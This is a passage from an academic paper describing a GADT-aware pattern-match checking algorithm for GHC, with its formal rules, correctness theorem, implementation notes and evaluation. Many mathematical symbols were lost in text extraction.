behaviour is rare in practice. Moreover, GHC’s current redundancy
checker suffers from the same problem without obvious problems
in practice. We have gathered quantitative data about set sizes to
better characterise the problem, which we discuss in Appendix A.
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Types
τ ::= a | τ1 → τ2 | T τ | . . . Monotypes
a, b, a�, b�, . . . Type variables
T Type constructors
Γ ::= � | Γ, a | Γ, x : τ Typing environment

Terms and clauses
f, g, x, y, . . . Term variables
e Expression
c ::= �p → e Clause

Patterns
K Data constructors
p, q ::= x | K �p | G Pattern
G ::= p ← e Guard

Value abstractions
S,C, U,D ::= v Value set abstraction
v ::= Γ � �u � Δ Value vector abstraction
u,w ::= x | K �u Value abstraction

Constraints
Δ ::= � | Δ ∪Δ

| Q Type constraint
| x ≈ e Term-equality constraint
| x ≈ ⊥ Strictness constraint

Q ::= τ ∼ τ Type-equality constraint
| ... other constraint

Figure 2: Syntax

4. Our Algorithm in Detail
4.1 Syntax
Figure 2 gives the syntax used in the formalisation of the algo-
rithm. The syntax for types, type constraints and type environments
is entirely standard. We are explicit about the binding of type vari-
ables in Γ, but for this paper we assume they all have kind ∗, so
we omit their kind ascriptions. (Our real implementation supports
higher kinds, and indeed kind polymorphism.)

A clause is a vector of patterns �p and a right-hand side e, which
should be evaluated if the pattern matches. Here, a “vector” �p
of patterns is an ordered sequence of patterns: it is either empty,
written �, or is of the form p �p.

A pattern p is either a variable pattern x, a constructor pattern
K �p or a guard G. We defer everything concerning guards to
Section 4.4, so that we can initially concentrate on GADTs.

Value abstractions play a central role in this paper, and stand for
sets of values. They come in three forms:

• A value set abstraction S is a set of value abstractions v̄. We use
an overline v̄ (rather than an arrow) to indicate that the order of
items in S does not matter.

• A value vector abstraction v has the form Γ � �u �Δ. It consists
of a vector �u of syntactic value abstractions, and a constraint Δ.
The type environment Γ binds the free variables of �u and Δ.

• A syntactic value abstraction u is either a variable x, or is of
the form K �u, where K is a data constructor.

A value abstraction represents a set of values, using the intuitions of
Sections 3.1 and 3.2. We formalise these sets precisely in Section 5.

Finally, a constraint Δ is a conjunction of either type constraints
Q or term equality constraints x ≈ e, and in addition strictness
constraints x ≈ ⊥. Strictness constraints are important for com-
puting diverge sets for which we’ve used informal notation in the

previous sections: For example {(_:_)⊥} is formally represented
as {Γ � (x:y) z � z ≈ ⊥} for some appropriate environment Γ.

Type constraints include type equalities τ1 ∼ τ2 but can also
potentially include other constraints introduced by pattern match-
ing or type signatures (examples would be type class constraints or
refinements [24, 31]). We leave the syntax of Q deliberately open.

4.2 Clause Processing
Our algorithm performs an abstract interpretation of the concrete
dynamic semantics described in the last section, and manipulates
value vector abstractions instead of concrete value vectors. It fol-
lows the scheme described in Section 3.1 and illustrated in Figure 1.
The key question is how patVectProc works; that is the subject of
this section, and constitutes the heart of the paper.

Initialisation As shown in Figure 1, the algorithm is initialised
with a set U0 representing “all values”. For every function defini-
tion of the form:

f::∀�a.τ1 → . . . → τn → τ
f p11 . . . p1n = . . .

. . .
f pm1 . . . pmn = . . .

the initial call to patVectProc will be with a singleton set:

U0 = {�a, (x1:τ1), . . . , (xn:τn) � x1 . . . xn � �}
As a concrete example, the pattern match clauses of function zip
of type ∀ab.[a] → [b] → [(a, b)] from Section 3.1 will be
initialised with

U0 = {a, b, (x1:[a]), (x2:[b]) � x1 x2 � �}
Notice that we use variables xi, rather than the underscores used
informally in Section 3.1, so that we can record their types in Γ,
and constraints on their values in Δ.

The main algorithm Figure 3 gives the details of patVectProc.
Given a pattern vector �p and an incoming set S of value vector
abstractions, patVectProc computes the sets C,U,D of covered,
uncovered, and diverging values respectively. As Figure 3 shows,
each is computed independently, in two steps. For each value vector
abstraction v in S:

• Use syntactic structure: an auxiliary function (C,U and D)
identifies the subset of v that is covered, uncovered, and diver-
gent, respectively.

• Use type and term constraints: filter the returned set, retaining
only those members whose constraints Δ are satisfiable.

We describe each step in more detail, beginning with the syntactic
function for covered sets, C.

Computing the covered set The function C �p v refines v into
those vectors that are covered by the pattern vector �p. It is defined
inductively over the structure of �p.

Rule [CNIL] handles the case when both the pattern vector and
the value vector are empty. In this case the value vector is trivially
covered.

Rule [CCONCON] handles the case when both the pattern and
value vector start with constructors Ki and Kj respectively. If the
constructors differ, then this particular value vector is not covered
and we return ∅. If the constructors are the same, Ki = Kj , then
we proceed recursively with the subterms �p and �u and the suffixes
�q and �w. We flatten these into a single recursive call, and recover
the structure afterwards with kcon Ki, defined thus:

kcon K (Γ � �u �w � Δ) = Γ � (K �u) �w � Δ

where �u matches the arity of K.
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patVectProc(�p, S) = �C,U,D�

patVectProc (�p, S) = �C,U,D� where
C = {w | v ∈ S,w ∈ C �p v, �SAT w}
U = {w | v ∈ S,w ∈ U �p v, �SAT w}
D= {w | v ∈ S,w ∈ D �p v, �SAT w}

C �p v = C (always empty or singleton set)

[CNIL] C � (Γ � � � Δ) = { Γ � � � Δ }
[CCONCON] C ((Ki �p) �q) (Γ � (Kj �u) �w � Δ) =

�
map (kcon Ki) (C (�p �q) (Γ � �u �w � Δ)) if Ki = Kj

∅ if Ki �= Kj

[CCONVAR] C ((Ki �p) �q) (Γ � x �u � Δ) = C ((Ki �p) �q) (Γ
� � (Ki �y) �u � Δ�)

where �y#Γ �a#Γ (x:τx) ∈ Γ Ki :: ∀�a.Q ⇒ �τ → τ
Γ� = Γ,�a, �y:�τ
Δ� = Δ ∪Q ∪ τ ∼ τx ∪ x ≈ Ki �y

[CVAR] C (x �p) (Γ � u �u � Δ) = map (ucon u) (C (�p) (Γ, x:τ � �u � Δ ∪ x ≈ u)) where x#Γ Γ � u : τ
[CGUARD] C ((p ← e) �p) (Γ � �u � Δ) = map tail (C (p �p) (Γ, y:τ � y �u � Δ ∪ y ≈ e)) where y#Γ Γ � e : τ

U �p v = U

[UNIL] U � (Γ � � � Δ) = ∅

[UCONCON] U ((Ki �p) �q) (Γ � (Kj �u) �w � Δ) =

�
map (kcon Ki) (U (�p �q) (Γ � �u �w � Δ) if Ki = Kj

{ Γ � (Kj �u) �w � Δ } if Ki �= Kj

[UCONVAR] U ((Ki �p) �q) (Γ � x �u � Δ) =
�

Kj
U ((Ki �p) �q) (Γ

� � (Kj �y) �u � Δ�)
where �y#Γ �a#Γ (x:τx) ∈ Γ Kj :: ∀�a.Q ⇒ �τ → τ

Γ� = Γ,�a, �y:�τ Δ� = Δ ∪Q ∪ τ ∼ τx ∪ x ≈ Kj �y
[UVAR] U (x �p) (Γ � u �u � Δ) = exactly like [CVAR], with U instead of C
[UGUARD] U ((p ← e) �p) (Γ � �u � Δ) = exactly like [CGUARD], with U instead of C

D �p v = D

[DNIL] D � (Γ � � � Δ) = ∅

[DCONCON] D ((Ki �p) �q) (Γ � (Kj �u) �w � Δ) =

�
map (kcon Ki) (D (�p �q) (Γ � �u �w � Δ) if Ki = Kj

∅ if Ki �= Kj

[DCONVAR] D ((Ki �p) �q) (Γ � x �u � Δ) = { Γ � x �u � Δ ∪ (x ≈ ⊥)} ∪ D ((Ki �p) �q) (Γ
� � (Ki �y) �u � Δ�)

where �y#Γ �a#Γ (x:τx) ∈ Γ Ki :: ∀�a.Q ⇒ �τ → τ
Γ� = Γ,�a, �y:�τ Δ� = Δ ∪Q ∪ τ ∼ τx ∪ x ≈ Ki �y

[DVAR] D (x �p) (Γ � u �u � Δ) = exactly like [CVAR], with D instead of C
[DGUARD] D ((p ← e) �p) (Γ � �u � Δ) = exactly like [CGUARD], with D instead of C

Figure 3: Clause Processing

Rule [CCONVAR] handles the case when the pattern vector
starts with constructor Ki and the value vector with variable x. In
this case we refine x to the most general abstraction that matches
the constructor, Ki �y, where the variables �y are fresh for Γ, written
�y#Γ. Once the constructor shape for x has been exposed, rule
[CCONCON] will fire to recurse into the pattern and value vectors.
The constraint (Δ�) used in the recursive call consists of the union
of the original Δ with:

• Q; this is the constraint bound by the constructor Ki ::
∀�a.Q ⇒ �τ → τ , which may for example include type equali-
ties (in the case of GADTs).

• x ≈ Ki �y; this records a term-level equality in the constraint
that could be used by guard expressions.

• τ ∼ τx, where τx is the type of x in the environment Γ, and τ is
the return type of the constructor. This constraint will be useful
when dealing with GADTs as we explain in Section 4.3.

Rule [CVAR] applies when the pattern vector starts with a
variable pattern x. This matches any value abstraction u, so we can
proceed inductively in �p and �u. However x may appear in some
guard in the rest of the pattern, for example:

f x y | Nothing <- lookup x env = ...

To expose the fact that x is bound to u in subsequent guards (and
in the right-hand side of the clause, see Section 4.6), rule [CVAR]
adds x ≈ u to the constraints Δ, and correspondingly extends Γ to
maintain the invariant that Γ binds all variables free in Δ. Finally,
map (ucon u) prefixes each of the recursive results with u:

ucon u (Γ � �u � Δ) = Γ � u �u � Δ

Rule [CGUARD] deals with guards: see Section 4.4.
Finally it is worth noting that the C �p v function always returns

an empty or singleton set, but we use the full set notation for
uniformity with the other functions.

Computing the uncovered and divergent sets The two other
functions have a similar structure. Hence, we only highlight the
important differences.

The function U �p v returns those vectors that are not covered
by the pattern vector �p. When both the pattern vector and value
vector are empty then (we have seen in the previous case) that the
value vector is covered and hence we return ∅. In rule [UCON-
CON] there are two cases, just as in [CCONCON]. If the head con-
structors match (Ki = Kj), we simply recurse; but if not, the en-
tire value vector abstraction is uncovered, so we return it. In case
[UCONVAR] we take the union of the uncovered sets for all re-
finements of the variable x to a constructor Kj ; each can lead re-
cursively through rule [UCONCON] to uncovered cases. To inform
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guards, we record the equality x ≈ Kj �y for each constructor. As
in rule [CCONVAR] we also record a type constraint between the
constructor return type and the type of x in Γ. (Section 4.3)

The function D �p v returns those vectors that diverge when
matching the pattern vector �p. The empty value vector does not di-
verge [DNIL]. The case for variables [DVAR] is similar to previous
cases. In the case of constructors in the head of the pattern vector
as well as the value vector [DCONCON] there is no divergence ei-
ther – we either recurse when the constructors match or else return
the empty divergent set. When the clause starts with constructor
Ki, and the vector with a variable x, rule [DCONVAR] combines
two different results: (a) the first result represents symbolically all
vectors where x diverges; (b) the second result recurses by refining
x to Ki �y. In the first case we record the divergence of x with a
strictness constraint (x ≈ ⊥). For the second case, we appeal re-
cursively to the divergent set computation (We give more details on
the Δ� that we use to recurse in Section 4.3.)

Filtering the results with constraints Function patVectProc
prunes the results of C �p v, U �p v, and D �p v that are semantically
empty by appealing to an oracle judgement �SAT (Γ � �u � Δ).
In the next section we define “semantically empty” by giving a
denotational semantics to a value vector abstraction �v� as a set of
concrete value vectors.

The purpose of �SAT is to determine whether this set is empty.
However, because satisfiability is undecidable in general (partic-
ularly when constraints involve term equivalence), we have to be
content with a decidable algorithm �SAT that gives sound but in-
complete approximation to satisfiability:

��SAT v ⇒ �v� = ∅
In terms of the outcomes (1-3) in Section 3.1, “soundness” means

1. If we do not warn that a set of clauses may be non-exhaustive,
then they are definitely exhaustive.

2. If we warn that a clause is redundant, then it definitely is
redundant.

3. If we warn that a right-hand side of a non-redundant clause is
inaccessible, then it definitely is inaccessible.

Since �SAT is necessarily incomplete, the converse does not hold
in general. There is, of course, a large design space of less-than-
complete implementations for �SAT. Our implementation is ex-
plained in Section 6.

Another helpful insight is this: during constraint generation
(Figure 3) the sole purpose of adding constraints to Δ is to increase
the chance that �SAT will report “unsatisfiable”. It is always sound
to omit constraints from Δ; so an implementation is free to trade
off accuracy against the size of the constraint set.

4.3 Type Constraints from GADTs
Rules [CCONVAR], [UCONVAR], and [DCONVAR] record type
equalities of the form τ ∼ τx between the value abstraction type
(τx) and the return type of the appropriate data constructor each
time (τ ).

Recording these constraints in [CCONVAR] and [UCONVAR]
is important for reporting precise warnings when dealing with
GADTs, as the following example demonstrates:

data T a where
TList :: T [a]
TBool :: T Bool

foo :: T c -> T c -> Int
foo TList _ = ...
foo _ TList = ...

To determine C2, the covered set from the second equation, we start
from an initial singleton vector abstraction U0 = {Γ0 � x1 x2 � �}
with Γ = c, x1:T c, x2:T c. Next compute the uncovered set
from the first clause, which (via [UCONVAR] and [UVAR]) is
U1 = {Γ1 � TBool x2 � Δ1}, where

Γ1 = Γ0, a
Δ1 = (x1 ≈ TBool) ∪ (T c ∼ T Bool)

Note the recorded type constraint for the uncovered constructor
TBool from rule [UCONVAR]. Next, from U1, compute the cov-
ered set for the second equation (via [CVAR] and [CCONVAR]):

C2 = C (_ TList) (Γ1 � TBool x2 � Δ1)
= {Γ1, b � TBool TList � Δ2}

where Δ2 = Δ1 ∪ (x2 ≈ TList) ∪ (T c ∼ T [b])

Note the type constraint T c ∼ T[b] generated by rule [CCONVAR].
The final constraint Δ2 is unsatisfiable and C2 is semantically
empty, and the second equation is unreachable. Unless [CCONVAR]
or [UCONVAR] both record the type constraints we would miss re-
porting the second branch as redundant.

Rule [DCONVAR] also records term and type-level constraints
in the recursive call. Indeed if the first case in that rule is deemed
unsatisfiable by our oracle it is important to have a precise set
of constraints for the recursive call to detect possible semantic
emptiness of the result.

4.4 Guards
A major feature of our approach is that it scales nicely to handle
guards, and other syntactic extensions of pattern-matching sup-
ported by GHC. We briefly reprise the development so far, adding
guards at each step.

Syntax (Section 4.1). We begin with the syntax in Figure 2: a
pattern p can be a guard, g, of the form (p ← e). This syntax is
very general. For example, the clauses of abs1 (Section 2.4) would
desugar to:

x (True <- x<0) -> -x
x (True <- otherwise) -> x

Notice that these two-element pattern vectors match against one
argument; a guard (p ← e) matches against e, not against an
argument.

GHC’s pattern guards are equally easy to represent; there is
no desugaring to do! However, the syntax of Figure 2 is more
expressive than GHC’s pattern guards, because it allows a guard to
occur arbitrarily nested inside a pattern. This allow us to desugar
literal patterns and view patterns. For example, consider the Haskell
function

f (’x’, []) = True
f _ = False

The equality check against the literal character ’x’ must occur
before matching the second component of the tuple, so that the
call (f (’y’,,⊥)) returns False rather than diverging. With our
syntax we can desugar f to these two clauses:

(a (True <- a==’x’), []) -> True
c -> False

Note the nested guard True <- a==’x’. It is not hard to see how
to desugar view patterns in a similar way; see the extended version
of this paper [11].

Clause processing (Section 4.2). It is easy to extend the clause-
processing algorithm to accommodate guards. For example, equa-
tion [CGUARD] in Figure 3 deals with the case when the first pat-
tern in the pattern vector is a guard (p ← e). We can simply make
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a recursive call to C adding p to the front of the pattern vector, and
a fresh variable y to the front of the value abstraction. This variable
y has the same type τ as e, and we add a term-equality constraint
y ≈ e to the constraint set. Finally, the map tail removes the guard
value from the returned value vector:

tail (Γ � u �us � Δ) = Γ � �us � Δ)

That’s all there is to it! The other cases are equally easy. How-
ever, it is illuminating to see how the rules work in practice. Con-
sider again function abs1 in Section 2.4. We may compute (labori-
ously) as follows:

U0 = {v:Int � v � }
U1 = U (x (True ← x<0)) (v:Int � v � )

= (apply [UVAR])
map (ucon v) (U (True ← v<0) (v:Int � � � x ≈ v))

= (apply [UGUARD])
map (ucon v) (map tail
(U (True) (v:Int, y:Bool � y � x ≈ v, y ≈ v<0))

= (apply [UCONVAR]; the True/True case yields ∅)
map (ucon v) (map tail (map (ucon y)
(U (True) (v:Int, y:Bool � False

� x ≈ v, y ≈ v<0, y ≈ False))
= (apply [UCONCON] with Ki �= Kj , and do the maps)

{v:Int, y:Bool � v � x ≈ v, y ≈ v<0, y ≈ False}
This correctly characterises the uncovered values as those v:Int
for which v<0 is False.

4.5 Extension 1: Smarter Initialisation
In the previous section, we always initialised U0 with the empty
constraint, Δ = �. But consider these definitions:

type family F a data T a where
type instance F Int = Bool TInt :: T Int

TBool :: T Bool

Datatype T is a familiar GADT definition. F is a type family,
or type-level function, equipped with an instance that declares
F Int = Bool. Given these definitions, is the second clause of f
below redundant?

f :: F a ~ b => T a -> T b -> Int
f TInt TBool = ...
f TInt x = ...
f TBool y = ...

Function f matches the first argument with TInt, yielding the local
type equality a ∼ Int. Using this fact, together with the signature
constraint F a ∼ b and the top-level equation F Int = Bool,
we can deduce that Bool ∼ b, and hence the second clause is
in fact redundant. In this reasoning we had to use the quantified
constraint F a ∼ b from the signature of f. Hence the initial value
abstraction U0 for this pattern match should include constraints
from the function signature:

U0 = {a, b, (x1:T a), (x2:T b) � x1 x2 � F a ∼ b}

4.6 Extension 2: Nested Pattern Matches
Consider this definition:

f [] = ...
f x = ...(case x of { w:ws -> e })...

The clauses of f and those of the inner case expression are entirely
disconnected. And yet we can see that both of the inner case
expressions are exhaustive, because the x = [] case is handled
by the first equation.

Happily there is a principled way to allow the inner case to take
advantage of knowledge from the outer one: gather the constraints

from the covered set of the outer pattern match, propagate them
inwards, and use them to initialise U0 for the inner one. In this
example, we may follow the algorithm as follows:

U f
0 = {a, v:[a] � v � }

U f
1 = {a, v:[a], v1:a, v2:[a] � (v1:v2) � }

C f
2 = {a, v:[a], v1:a, v2:[a], x:[a] � (v1:v2) � x ≈ v1:v2}

Propagate C f
2 inwards to the case expression. Now initialise the

U case
0 for the case expression thus:

U case
0 = {(Γ � x � Δ) | (Γ � �u � Δ) ∈ C f

2 }
You can see that the Δ used for the inner case will include the
constraint x = v1:v2 inherited from C f

2 , and that in turn can
be used by �SAT to show that the [] missing branch of the case
is inaccessible. Notice that U0 many now have more than one
element; until now it has always been a singleton.

The same idea works for type equalities, so that type-equality
knowledge gained in an outer pattern-match can be carried inwards
in Δ and used to inform inner pattern matches. Our implementation
does exactly this and solves the existing GHC ticket #4139 that
needs this functionality. (Caveat: our implementation so far only
propagates type constraints, not term constraints.)

5. Meta-theory
In order to formally relate the algorithm to the dynamic semantics
of pattern matching, we first formalise the latter as well as the
semantics of the value abstractions used by the former.

5.1 Value Abstractions
As outlined in Section 3.1 a value abstraction denotes a set of
values. Figure 4 formalises this notion.

As the Figure shows, the meaning of a closed value abstraction
Γ � �u � Δ is the set of all type-respecting instantiations of �u to a
vector of (closed) values �V = θ(�u), such that the constraints θ(Δ)
are satisfied. The judgement |= Δ denotes the logical entailment of
the (closed) constraints Δ; we omit the details of its definition for
the sake of brevity.

A “type-respecting instantiation”, or denotation, of a type envi-
ronment Γ is a substitution θ whose domain is that of Γ; it maps
each type variable a ∈ Γ to a closed type; and each term variable
x:τ ∈ Γ to a closed value V of the appropriate type �v V : τ .
The syntax of closed types and values is given in Figure 4, as is the
typing judgement for values. For example,

�{a, b, x : a, y : b � x y � a ∼ Bool, b ∼ ()}�
= { True () , False () , ⊥ () ,

True ⊥ , False ⊥ , ⊥ ⊥ }

5.2 Pattern Vectors
Figure 4 formalises the dynamic semantics of pattern vectors.

The basic meaning ��p�θ of a pattern vector �p is a function that
takes a vector of values �V to a matching result M . There may be
free variables in (the guards of) �p; the given substitution θ binds
them to values. The matching result M has the form T , F or ⊥
depending on whether the match succeeds, fails or diverges.

Consider matching the pattern vector x (True <- x > y),
where y is bound to 5, against the value 7; this match succeeds.
Formally, this is expressed thus:

�x (True <- x > y)�[y�→5](7) = T
For comparing with our algorithm, this formulation of the dy-

namic semantics is not ideal: the former acts on whole sets of value
vectors (in the form of value abstractions) at a time, while the latter
considers only one value vector at a time. To bridge this gap, ��p�
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τc ::= T τ c | τc → τc Closed Monotypes
V,W ::= K �V | λx.e | ⊥ Values
M ::= T | F | ⊥ Matching Result
S ,C ,U ,U ::= �̄V Set of value vectors

Denotation of expressions

E�e� = V

(definition omitted)

Denotation of value abstractions

�S� = �V

�S� = {θ(�u) | (Γ � �u � Δ) ∈ S, θ ∈ �Γ�, |= θ(Δ)}
Denotation of typing environments

�Γ� = θ̄

��� = {�}
�x : τc,Γ� = {θ · [x �→ V ] | �v V : τc, θ ∈ �Γ�}
�a,Γ� = {θ · [a �→ τc] | θ ∈ �[a �→ τc](Γ)�}

Well-typed values

�v V : τc

BOT
�v ⊥ : τc

x : τc,1 � e : τc,2
FUN

�v λx.e : τc,1 → τc,2

K :: ∀a b.Q ⇒ τ → T a |= θ(Q)
θ = [a �→ τci , b �→ τcj ] �v Vi : θ(τi) (∀i)

CON
�v K �V : T �τci

Denotation of patterns

��p�θ :: �V → M

���θ(�) = T
�x �p�θ(V �V ) = ��p�[x�→V ]·θ(�V )

�(p ← e) �p�θ(�V ) = �p �p�θ(E�θ(e)� �V )

�(Ki �p) �q�θ((Kj
�V ) �W ) =

�
��p �q�θ(�V �W ) , if Ki = Kj

F , if Ki �= Kj

�(Ki �p) �q�θ(⊥ �V ) = ⊥

��p� :: �̄V → � �̄Vc, �̄Vu, �̄V⊥�

��p�(S ) = �{�V | �V ∈ S where ��p��(�V ) = T }
, {�V | �V ∈ S where ��p��(�V ) = F}
, {�V | �V ∈ S where ��p��(�V ) = ⊥}�

Figure 4: Semantics of Value Abstractions and Patterns

lifts ��p�� from an individual value vector �V to a whole set S of
value vectors. It does so by partitioning the set based on the match-
ing outcome, which is similar to the behaviour of our algorithm.

5.3 Correctness Theorem
Now we are ready to express the correctness of the algorithm
with respect to the dynamic semantics. The algorithm is essentially

an abstraction of the dynamic semantics. Rather than acting on
an infinite set of values, it acts on a finite representation of that
set, the value abstractions. Correctness amounts to showing that
the algorithm treats the abstract set in a manner that faithfully
reflects the way the dynamic semantics treats the corresponding
concrete set. In other words, it should not matter whether we run
the algorithm on an abstract set S and interpret the abstract result
�C,U,D� as sets of concrete values �C ,U ,D�, or whether we first
interpret the abstract set S as a set S of concrete values and then
run the concrete dynamic semantics on those.

This can be expressed concisely as a commuting diagram:

S

�·�
��

patVectProc(�p)
�� �C,U,D�

�·�
��

S ��p�
�� �C ,U ,D�

This diagram allows us to interpret the results of the algorithm.
For instance, if we choose s to cover all possible value vectors and
we observe that C is empty, we can conclude that no value vector
successfully matches �p.

To state correctness precisely we have to add the obvious formal
fine print about types: The behaviour of pattern matching is only
defined if:

1. the pattern vector �p is well-typed,

2. the value vector �V and, by extension, the value set S and the
abstract value set S are well-typed, and

3. the types of pattern vector �p and value vector �V correspond.

The first condition we express concisely with the judgement Q;Γ �
�p : �τ , which expresses that the pattern vector �p has types �τ for a
type environment Γ and given type constraints Q.

For the second condition, we first consider the set of all values
value vectors compatible with types �τ , type environment Γ and
given type constraints Q. This set can be compactly written as the
interpretation �S∗� of the value abstraction S∗ = {Γ, �x : �τ �
�x � Q}. Any other well-typed value vectors �V must be contained
in this set: �V ∈ �S∗�. Similarly, S ⊆ �S∗� and �S� ⊆ �S∗�

Finally, the third condition is implicitly satisfied by using the
same types �τ , type environment Γ and given type constraints Q.

Wrapping up we formally state the correctness theorem as fol-
lows:

Theorem 1 (Correctness).

∀Γ, Q, �p,�τ , S : Q;Γ � �p : �τ ∧ �S� ⊆ �{Γ, �x : �τ � �x � Q}�
=⇒ �patVectProc(�p, S)� = ��p��S�

6. Implementation
This section describes the current implementation of our algorithm
in GHC and possible improvements.

The pattern-match warning pass runs once type inference is
complete. At this stage the syntax tree is richly decorated with
type information, but has not yet been desugared. Warnings will
therefore refer to the program text written by the user, and not
so some radically-desugared version. Actually the pattern-match
warning generator is simply called by the desugarer, just before it
desugars each pattern match.

The new pattern match checker takes 504 lines of Haskell,
compared to 588 lines for the old one. So although the new checker
is far more capable, it is of comparable code size.
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6.1 The Oracle
The oracle judgement �SAT is treated as a black box by the algo-
rithm. As long as it is conservative, any definition will do, even
accepting all constraints. Our implementation does quite a bit bet-
ter than that.

Type-level constraints For type constraints we simply re-use the
powerful type-constraint solver, which GHC uses for type infer-
ence [25]. Hence, inconsistency of type constraints is defined uni-
formly and our oracle adapts automatically to any changes in the
type system, such as type-level functions, type-level arithmetic, and
so on.

Term-level constraints Currently, our oracle implementation for
term-level constraints is vestigial. It is specialised for trivial guards
of the form True and knows that these cannot fail. Thus only con-
junctions of constraints of the form y ≈ True, y ≈ False are
flagged as inconsistent. This enables us to see that abs1 (Sec-
tion 2.4) is exhaustive, but not abs2. There is therefore plenty of
scope for improvement, and various powerful term-level solvers,
such as Zeno [29] and HipSpec [5], could be used to serve the ora-
cle.

6.2 Performance Improvements
We have optimised the presentation of our algorithm in Section 4
for clarity, rather than runtime performance. Even though we can-
not improve upon the asymptotic worst-case time complexity, var-
ious measures can improve the average performance a big deal.

Implicit solving The formulation of the algorithm in Section 4
generates type constraints for the oracle with a high frequency. For
instance, rule [CCONVAR] of the C function generates a new type
equality constraint τ ∼ τx every time it fires, even for Haskell’98
data types.

While there are good reasons for generating these constraints
in general, we can in many cases avoid generating them explicitly
and passing them on to the oracle. Instead, we can handle them
immediately and much more cheaply. One important such case is
covered by the specialised variant of rule [CCONVAR] in Figure 5:
the type τx has the form T �τx, where T is also the type constructor
of the constructor Ki. This means that the generated type constraint
τ ∼ τx actually has the form T �a ∼ T �τx. We can simplify
this constraint in two steps. Firstly, we can decompose it into
simpler type equality constraints ai ∼ τx,i, one for each of the
type parameters. Secondly, since all type variables �a are actually
fresh, we can immediately solve these constraints by substituting
all occurrences of �a by �τx. Rule [CCONVAR] incorporates this
simplification and does not generate any type constraints at all for
Haskell’98 data types.

Incremental solving Many constraint solvers, including the OUT-
SIDEIN(X) solver, support an incremental interface:

solve :: Constraint -> State -> Maybe State

In the process of checking given constraints C0 for satisfiability,
they also normalise them into a compact representation. When the
solver believes the constraints are satisfiable, it returns their normal
form: a state σ0. When later the conjunction C0 ∧ C1 needs to
be checked, we can instead pass the state σ0 together with C1 to
the solver. Because σ0 has already been normalised, the solver can
process the latter combination much more cheaply than the former.

It is very attractive for our algorithm to incorporate this incre-
mental approach, replace the constraints Δ by normalised solver
states σ and immediately solve new constraints when they are gen-
erated. Because the algorithm refines step by step one initial value
abstraction into many different ones, most value abstractions share
a common prefix of constraints. By using solver states for these

common prefixes, we share the solving effort among all refinements
and greatly save on solving time. Moreover, by finding inconsisten-
cies early, we can prune eagerly and avoid refining in the first place.

7. Evaluation
Our new pattern checker addresses the three challenges laid out in
Section 2: GADTs, laziness, and guards. However in our evalua-
tion, only the first turned out to be significant. Concerning laziness,
none of our test programs triggered the warning for a clause that
is irredundant, but has an inaccessible right hand side; clearly such
cases are rare! Concerning guards, our prototype implementation
only has a vestigial term-equality solver, so until we improve it we
cannot expect to see gains.

For GADT-rich programs, however, we do hope to see im-
provements. However, many programs do not use GADTs at all;
and those that do often need to match over all constructors of
the type anyway. So we sought test cases by asking the Haskell
libraries list for cases where the authors missed accurate warn-
ings for GADT-using programs. This has resulted in identifying 9
hackage packages and 3 additional libraries, available on GitHub.2

We compared three checkers. The baseline is, of course, vanilla
GHC. However, GHC already embodies an ad hoc hack to improve
warning reports for GADTs, so we ran GHC two ways: both with
(GHC-2) and without (GHC-1) the hack. Doing so gives a sense
of how effective the ad hoc approach was compared with our new
checker.

For each compiler we measured:

• The number of missing clauses (M). The baseline compiler
GHC-1 is conservative, and reports too many missing clauses;
so a lower M represents more accurate reporting.

• The number of redundant (R) clauses. The baseline compiler is
conservative, and reports too few redundant clauses; so a higher
R represents more accurate reporting.

The results are presented in Table 1. They clearly show that the
ad-hoc hack of GHC-2 was quite succesful at eliminating unnec-
essary missing pattern warnings, but is entirely unable to identify
redundant clauses. The latter is where our algorithm shines: it iden-
tifies 38 pattern matches with redundant clauses, all of them catch-
all cases added to suppress erroneous warnings. We also see a good
reduction (-27) of the unnecessary missing pattern warnings. The
remaining spurious missing pattern warnings in accelerate and d-
bus involve pattern guards and view patterns; these can be elimi-
nated by upgrading the term-level reasoning of the oracle.

Erroneous suppression of warnings We have found three cases
where the programmer has erroneously added clauses to suppress
warnings. We have paraphrased one such example in terms of the
Vect n a type of Section 1.

data EQ n m where
EQ :: n ~ m => EQ n m

eq :: Vect n a -> Vect m a -> EQ n m -> Bool
eq VN VN EQ = True
eq (VC x xs) (VC y ys) EQ = x == y && eq xs ys
eq VN (VC _ _) _ = error "redundant"
eq (VC _ _) VN _ = error "redundant"

This example uses the EQ n m type as a witness for the type-level
equality of n and m. This equality is exposed by pattern matching on

2 https://github.com/amosr/merges/blob/master/stash/Lists.hs
https://github.com/gkaracha/gadtpm-example
https://github.com/jstolarek/dep-typed-wbl-heaps-hs
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[CCONVAR’] C ((Ki �p) �q) (Γ � x �u � Δ) = C ((Ki �p) �q) (Γ
� � (Ki �y) �u � Δ�)

where �y#Γ �b#Γ (x:T �τx) ∈ Γ Ki :: ∀�a,�b.Q ⇒ �τ → T �a

θ = [�a �→ �τx] Γ� = Γ,�b, �y:θ(�τ)
Δ� = Δ ∪ θ(Q) ∪ x ≈ Ki �y

Figure 5: Specialised Clause Processing

Table 1: Results

GHC-1 GHC-2 New

Hackage Packages LoC M R M R M R
accelerate 11, 393 11 0 9 0 8 14
ad 1, 903 2 0 0 0 0 6
boolsimplifier 256 10 0 0 0 0 0
d-bus 2, 753 45 0 42 0 16 1
generics-sop 1, 008 0 0 0 0 0 3
hoopl 2, 147 33 0 0 0 0 3
json-sop 393 0 0 0 0 0 2
lens-sop 280 2 0 0 0 0 2
pretty-sop 27 0 0 0 0 0 1

Additional tests LoC M R M R M R
lists 66 1 0 0 0 0 3
heterogeneous lists 38 0 0 0 0 0 2
heaps 540 3 0 0 0 0 1

EQ. Hence, the third and fourth clauses must be redundant. After all,
we cannot possibly have an equality witness for Zero ~ Succ n.
Yes, we can: that witness is ⊥ :: EQ Zero (Succ n) and it is
not ruled out by the previous clauses. Indeed, calls of the form
eq VN (VCxxs)⊥ and eq (VCxxs) VN⊥ are not covered by the
first two clauses and hence rightly reported missing. The bottoms
can be flushed out by moving the equality witness to the front of
the argument list and matching on it first. Then the first two clauses
suffice.

GHC tickets With our new algorithm we have also been able to
close nine GHC tickets related to GADT pattern matching (#3927,
#4139, #6124, #8970) and literal patterns (#322, #2204, #5724,
#8016, #8853).

8. Related Work
8.1 Compiling Pattern Matching
There is a large body of work concerned with the efficient compila-
tion of pattern matching, for strict and lazy languages [13, 15, 17,
18]. Although superficially related, these works focus on an entirely
different problem, one that simply does not arise for us. Consider

f True True = 1
f _ False = 2
f False True = 3

In a strict language one can choose whether to begin by matching
the first argument or the second; the choice affects only efficiency,
not semantics. In a lazy language the choice affects semantics;
for example, does f (⊥, False) diverge, or return 2? Laville and
Maranget suggest choosing a match order that makes f maximally
defined [15], and they explore the ramifications of this choice.

